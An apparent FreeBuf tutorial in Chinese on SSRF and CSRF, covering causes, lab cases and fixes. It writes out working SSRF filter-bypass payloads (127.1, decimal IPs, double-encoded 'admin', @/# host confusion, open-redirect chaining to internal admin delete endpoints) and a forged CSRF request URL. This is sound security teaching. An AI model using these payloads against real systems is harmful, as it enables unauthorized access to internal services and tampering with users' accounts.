m0be1
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造恶意数据,形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
一、SSRF漏洞出现的原因
原因:很多web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等。
二、SSRF漏洞攻击方式
1、可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息
2、对内网web应用进行指纹识别,通过访问默认文件实现
3、攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等)
4、攻击运行在内网或本地的应用程序(比如溢出)
5、利用file协议读取本地文件等
注:ssrf常用的协议:http/https、dict、file、gopher、sftp、ldap、tftp
三、容易出现此漏洞的场景
1、应用从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户
2、应用获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据
3、应用根据用户提供的URL,抓取用户的web站点,并且自动生成移动wap站
4、应用提供测速功能,能够根据用户提供的URL,访问目标站点,以获取其在对应经纬度的访问速度
四、利用 SSRF 漏洞进行端口探测的方法
1、URL里包含端口
http://192.168.1.64/ssrf2.php?url=http://192.168.1.64:22
2、返回值
SSH-2.0-OpenSSH_6.6.1 Protocol mismatch
五、SSRF 漏洞的检测和利用
1、PHP类检测
这三个函数使用不当会造成SSRF漏洞
file_get_contents()、fsockopen()、curl_exec()
2、JSP类检测
以下几种类引用不当会造成SSRF,需要进行检测
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类
3、漏洞利用
有回显
任何需要传入URL的接口都有可能出现ssrf漏洞,可根据实际业务场景对功能接口进行漏洞验证。ssrf漏洞可分为有回显型和无回显型,有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
无回显
无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
六、SSRF 案例
点击累了吧,来读一首诗吧,BP抓包如下
可以看到info1.php是通过服务器而不是客户端请求发送的。如果把url改成其他的url地址,这就是服务端请求伪造。
七、SSRF常见攻击
1、攻击服务器⾃⼰
通过环回⽹卡地址 127.0.0.1 、 localhost 访问服务器⾃⾝应⽤URL
例如商品库存查询,应⽤需要查询后端REST API,请求后端URL
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://stock.abc.net:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
攻击(从服务器访问⾃⾝管理后台——默认禁⽌外部访问
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
stockApi=http://localhost/admin
或者
stockApi=http://192.168.10.X:port/admin/delete?username=zhangsan&storeId=1
2、攻击后端系统
⽤户⽆法访问后端内⽹系统,但⽬标应⽤服务器可以(内⽹系统通常防护较弱, 匿名可访问)
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
stockApi=http://192.168.0.11/admin
3、扫描后端管理后台(BurpSuite Intruder)
stockApi=http://192.168.0.§1§:§22§/§admin§
八、绕过常⻅的SSRF防御
1、基于⿊名单的输⼊过滤
过滤主机头为 127.0.0.1 and localhost ,或包含 /admin 的 URL
1)IP地址使⽤ 2130706433 、 017700000001 或 127.1 替代 127.0.0.1
2130706433 ⇒ 0x7F 00 00 01 ⇒ 127 0 0 1 (加 4294967296 的倍数)
2)⾃⼰注册域名并解析到 127.0.0.1
3)使⽤URL编码或⼤⼩写变化,混淆被字符串
// 过滤 127.0.0.1
stockApi=http://127.0.0.1
HTTP/1.1 400 Bad Request
"External stock check blocked for security reasons"
// 绕过127.0.0.1过滤
stockApi=http://127.1
HTTP/1.1 200 OK
// 过滤 admin
stockApi=http://127.1/admin
HTTP/1.1 400 Bad Request
"External stock check blocked for security reasons"
stockApi=http://127.1/bdmin
HTTP/1.1 404 Bad Request
// 双重URL编码绕过 admin 过滤
stockApi=http://127.1/a%2564min
HTTP/1.1 200 OK
// 其他绕过
?url=http://safesite.com&site.com
?url=http://////////////site.com/
?url=http://safesite.com?.site.com
?url=http://safesite.com#.site.com
?url=http://safesite.com\.site.com/domain
?url=https://192.10.10.2?.192.10.10.3/
?url=https://192.10.10.2#.192.10.10.3/
?url=https://192.10.10.2\.192.10.10.3/
?url=http://localhost:8000/status/
2、基于⽩名单的输⼊过滤(begins with、contains)
利⽤URL解析中的不⼀致性,绕过⽩名单过滤;URL规范包含许多在实现URL的特别 解析和验证时容易被忽略的特性
1)使⽤ @ 在URL中嵌⼊⾝份验证信息,例如 https://dst-host@vul-host
2)使⽤ # 指⽰URL分⽚,例如 https://vul-host#dst-host
3)利⽤DNS命名层级,插⼊攻击者控制的FQDN,例如 https://dst-host.vul-host
4)对字符进⾏URL编码混淆。如果过滤器的代码处理url编码字符的⽅式与执⾏后端
HTTP请求的代码不同,这种⽅法特别有⽤
5)结合使⽤以上技术
stockApi=http://127.0.0.1
HTTP/1.1 400 Bad Request
"External stock check host must be stock.abc.net"
stockApi=http://zs@stock.abc.net
HTTP/1.1 500 Internal Server Error
"Could not connect to external stock check service"
stockApi=http://zs#@stock.abc.net
HTTP/1.1 400 Bad Request
"External stock check host must be stock.abc.net"
// 双重URL编码 #
stockApi=http://zs%2523@stock.abc.net
HTTP/1.1 500 Internal Server Error
"Could not connect to external stock check service"
stockApi=http://localhost:80%2523@stock.abc.net/admin/
HTTP/1.1 200 OK
......
stockApi=http://localhost:80%2523@stock.abc.net/admin/delete?username=zhangsan
HTTP/1.1 302 Found
3、通过开放重定向绕过SSRF防护
有时可以利⽤开放重定向漏洞来绕过任何类型的基于过滤器的防御。 假设上例实现了绝对严过滤,但URL允许开放重定向,发送后端HTTP请求的API⽀持 重定向,您可以构造⼀个URL来满⾜过滤器并导致⼀个重定向到后端⽬标的请求。
// 开放重定向漏洞 URL
http://abc.net/product/nextProduct?currentProductId=6&path=http://evil-user.net
// 返回重定向到
http://evil-user.net
// 利⽤开放重定向,实现SSRF攻击
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
stockApi=http://abc.net/product/nextProduct?currentProductId=6&path=http://192.168.0.1
1/admin
九、SSRF 漏洞的修复方法
1、过滤返回信息,验证远程服务器对请求的响应是比较容易的方法
如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准
2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态
3、限制请求的端口为http常用的端口,比如,80,443,8080,8090
4、黑名单内网IP,避免应用被用来获取内网数据,攻击内网
5、禁用不需要的协议,仅仅允许http和https请求
CSRF 漏洞
一、什么是CSRF
CSRF 的全称是Cross-site request forgery,即跨站请求伪造,我们可以简单的理解这种漏洞为,攻击者利用被攻击者的身份发起了某些被攻击者原本不知情的网络请求。包括以被攻击者的身 份发布一条微博,以被攻击者的身份发布一条留言,以被攻击者的身份关注某个用户的微博等。
二、CSRF能做的事情
1、以你名义发送邮件
2、发消息
3、盗取你的账号
4、购买商品
5、虚拟货币转账
三、CSRF 漏洞产生条件
跟其它漏洞不同,此类漏洞需要特定的条件,满足这三个条件时,会利用到CSRF漏洞
受害者必须登陆过网站(或者有权限)
攻击者(或黑客)提供的恶意链接受害者必须打开
网站除了验证Cookie,没有特殊验证方法
四、CSRF攻击过程
1、用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2、在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3、用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4、网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
五、CSRF 漏洞与 XSS 漏洞的区别
不同点
区别一:
CSRF:需要用户先登录网站A,获取 cookie。XSS:不需要登录。
区别二:(原理的区别)
CSRF:是利用网站A本身的漏洞,去请求网站A的api。
XSS:是向网站 A 注入 JS代码,然后执行 JS 里的代码,篡改网站A的内容。
六、CSRF 漏洞的挖掘
挖掘CSRF漏洞
CSRF用于越权操作,漏洞在有权限控制的地方,其构造URL或者get提交,都可以测一测。
1—黑盒
打开非静态操作的页面,抓包查看是否存在token,如果没有token,直接请求这个页面,不带referer,如果返回的数据是一样的话,那说明很有可能有CSRF漏洞了。
2—白盒
读代码的时候看看核心文件里有没有验证token和referer相关的代码。可以直接搜索token关键字。
或使用工具
七、CSRF 案例
1、get方式
示例:pikuchu靶场 csrf
点击以下提示,利用获取到用户名密码登录
点击修改个人信息,BP抓包后发送repeater,放包
URL链接伪造
把个人信息内容伪造如下:
http://106.12.128.179:8000/vul/csrf/csrfget/csrf_get_edit.php?sex=boyl&phonenum=888888888&add=%E5%8C%97%E4%BA%AC&email=567%40qq.com&submit=submit
复制上面的地址,新开一个页面,直接访问如上链接,这时候如果用户刷新自己的页面,信息确实被做了修改。
2、POST方式
来到pikuchu平台的CSRF(post)模块,同样使用kobe进行登陆,然后构造
例如修改电话为9999999999,修改成功
八、token是如何防止CSRF的
CSRF的主要问题是敏感操作的链接容易被伪造,我们需要做的就是让这个链接不容易被伪造,我们可以采取每次请求,都增加一个随机码(应该够随机,不容易伪造)的方法,这样后台每次都会对随机码进行验证。
再次修改抓包就会发现增加了一个随机码
九、CSRF 修复方法
1、加验证码
2、尽量使用POST,少用GET
3、验证HTTP Referer字段
4、在请求地址中添加token并验证
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)

